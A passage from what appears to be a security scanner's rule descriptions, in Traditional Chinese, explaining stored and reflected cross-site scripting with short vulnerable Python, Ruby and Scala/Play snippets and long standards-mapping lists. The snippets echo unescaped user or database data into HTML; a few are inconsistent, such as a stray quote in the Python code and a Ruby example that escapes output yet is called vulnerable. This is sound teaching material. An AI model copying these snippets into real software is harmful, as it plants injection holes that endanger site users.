[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.sql.cross_site_scripting_persistent
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為網頁要求。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 Python 程式碼片段在 HTTP 要求中讀取員工的識別碼 eid,並顯示給使用者。


req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下的 Python 程式碼片段,根據所給予的識別碼在資料庫中查詢員工,並列印該員工姓名。


...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.python.cross_site_scripting_persistent
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為網頁要求。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。
範例 1:以下 Ruby 程式碼片段會查詢資料庫中具有指定識別碼的員工,然後列印相對應的員工姓名。


...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...
name 值正常運作時,此程式碼也會正常運作,但如果該值不正常運作時,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

其他類型的 XSS 可能不是來自資料庫,而是來自其他可能的使用者輸入位置。傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 2:以下 Ruby 程式碼片段會從 HTTP 要求中讀取員工識別碼 eid,並顯示給使用者。


eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end


Example 1 所述,如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是所謂的 Reflected XSS,不過請注意,如果使用Example 2 中的的 Rack::Request#params(),會同時看到 GETPOST 參數,所以可能容易受到各種類型的攻擊,而不是只會使惡意程式碼附加到 URL 而已。
如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 2 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.ruby.cross_site_scripting_persistent
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Persistent XSS (也可稱為 Stored XSS) 案例中,不可信賴的來源通常為資料庫或其他後端資料儲存區,而在 Reflected XSS 案例中,來源通常為網頁要求。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 Play 控制項程式碼片段會從資料庫查詢中讀取員工 ID、eid,並向使用者顯示。


def getEmployee = Action { implicit request =>

val employee = getEmployeeFromDB()
val eid = employee.id

if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] INJECT-3: XML and HTML generation requires care Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
